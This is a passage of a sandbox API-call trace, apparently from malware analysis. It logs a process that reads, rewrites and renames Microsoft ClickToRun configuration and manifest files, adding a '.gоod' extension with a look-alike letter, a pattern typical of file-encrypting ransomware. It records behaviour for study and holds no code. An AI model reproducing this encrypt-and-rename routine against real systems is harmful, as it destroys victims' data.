(in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.gоod", lpFilePart=0x0) returned 0xaf [0079.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8680) returned 1 [0079.479] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f8760 | out: lpFileInformation=0x10f8760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b96f3d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0079.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8640) returned 1 [0079.479] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml.gоod")) returned 1 [0079.480] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0079.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f86c0) returned 1 [0079.480] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x340a330 | out: lpFileInformation=0x340a330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7)) returned 1 [0079.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8680) returned 1 [0079.480] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0079.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0079.480] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0079.480] GetFileType (hFile=0x6b4) returned 0x1 [0079.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0079.481] GetFileType (hFile=0x6b4) returned 0x1 [0079.481] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f8718*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f8718*=0) returned 0x1000 [0079.481] ReadFile (in: hFile=0x6b4, lpBuffer=0x340a898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f86e8, lpOverlapped=0x0 | out: lpBuffer=0x340a898*, lpNumberOfBytesRead=0x10f86e8*=0x1000, lpOverlapped=0x0) returned 1 [0079.481] CloseHandle (hObject=0x6b4) returned 1 [0079.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0079.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0079.482] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0079.482] GetFileType (hFile=0x6b4) returned 0x1 [0079.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0079.482] GetFileType (hFile=0x6b4) returned 0x1 [0079.482] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f8718*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f8718*=0) returned 0x5ab2f7 [0079.482] WriteFile (in: hFile=0x6b4, lpBuffer=0x340bbd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f8608, lpOverlapped=0x0 | out: lpBuffer=0x340bbd8*, lpNumberOfBytesWritten=0x10f8608*=0x10, lpOverlapped=0x0) returned 1 [0079.483] CloseHandle (hObject=0x6b4) returned 1 [0080.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0080.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0080.280] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0080.280] GetFileType (hFile=0x6b4) returned 0x1 [0080.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0080.281] GetFileType (hFile=0x6b4) returned 0x1 [0080.281] ReadFile (in: hFile=0x6b4, lpBuffer=0x35ec3a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f8698, lpOverlapped=0x0 | out: lpBuffer=0x35ec3a0*, lpNumberOfBytesRead=0x10f8698*=0x1000, lpOverlapped=0x0) returned 1 [0080.571] CloseHandle (hObject=0x6b4) returned 1 [0080.571] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0080.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0080.571] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0080.571] GetFileType (hFile=0x6b4) returned 0x1 [0080.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0080.571] GetFileType (hFile=0x6b4) returned 0x1 [0080.571] WriteFile (in: hFile=0x6b4, lpBuffer=0x31fee58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f8748, lpOverlapped=0x0 | out: lpBuffer=0x31fee58*, lpNumberOfBytesWritten=0x10f8748*=0x1010, lpOverlapped=0x0) returned 1 [0080.572] CloseHandle (hObject=0x6b4) returned 1 [0081.509] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml", lpFilePart=0x0) returned 0x9b [0081.509] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.gоod", lpFilePart=0x0) returned 0xa0 [0081.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8680) returned 1 [0081.509] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f8760 | out: lpFileInformation=0x10f8760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2ccce575, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ab307)) returned 1 [0081.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8640) returned 1 [0081.509] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\manifest.xml.gоod")) returned 1 [0081.510] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", lpFilePart=0x0) returned 0xae [0081.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f86c0) returned 1 [0081.510] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), fInfoLevelId=0x0, lpFileInformation=0x328b160 | out: lpFileInformation=0x328b160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266)) returned 1 [0081.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8680) returned 1 [0081.510] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f8050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", lpFilePart=0x0) returned 0xae [0081.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8570) returned 1 [0081.510] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0081.510] GetFileType (hFile=0x6b4) returned 0x1 [0081.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f84e0) returned 1 [0081.510] GetFileType (hFile=0x6b4) returned 0x1 [0081.511] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x10f8718 | out: lpFileSizeHigh=0x10f8718*=0x0) returned 0x266 [0081.511] ReadFile (in: hFile=0x6b4, lpBuffer=0x328b850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f8648, lpOverlapped=0x0 | out: lpBuffer=0x328b850*, lpNumberOfBytesRead=0x10f8648*=0x266, lpOverlapped=0x0) returned 1 [0081.512] CloseHandle (hObject=0x6b4) returned 1 [0081.523] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f8050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", lpFilePart=0x0) returned 0xae [0081.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8570) returned 1 [0081.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0081.525] GetFileType (hFile=0x6b4) returned 0x1 [0081.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f84e0) returned 1 [0081.525] GetFileType (hFile=0x6b4) returned 0x1 [0081.525] WriteFile (in: hFile=0x6b4, lpBuffer=0x3303c28*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x10f8558, lpOverlapped=0x0 | out: lpBuffer=0x3303c28*, lpNumberOfBytesWritten=0x10f8558*=0x270, lpOverlapped=0x0) returned 1 [0081.526] CloseHandle (hObject=0x6b4) returned 1 [0081.526] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml", lpFilePart=0x0) returned 0xae [0081.527] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.gоod", lpFilePart=0x0) returned 0xb3 [0081.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8680) returned 1 [0081.527] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f8760 | out: lpFileInformation=0x10f8760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2ccf47a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0081.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8640) returned 1 [0081.527] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml.gоod")) returned 1 [0081.528] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0081.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f86c0) returned 1 [0081.528] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x3305128 | out: lpFileInformation=0x3305128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8)) returned 1 [0081.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8680) returned 1 [0081.528] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0081.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0081.528] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0081.528] GetFileType (hFile=0x6b4) returned 0x1 [0081.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0081.528] GetFileType (hFile=0x6b4) returned 0x1 [0081.528] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f8718*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f8718*=0) returned 0x1000 [0081.528] ReadFile (in: hFile=0x6b4, lpBuffer=0x33056b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f86e8, lpOverlapped=0x0 | out: lpBuffer=0x33056b0*, lpNumberOfBytesRead=0x10f86e8*=0x1000, lpOverlapped=0x0) returned 1 [0081.530] CloseHandle (hObject=0x6b4) returned 1 [0081.530] GetFullPathNameW (in: 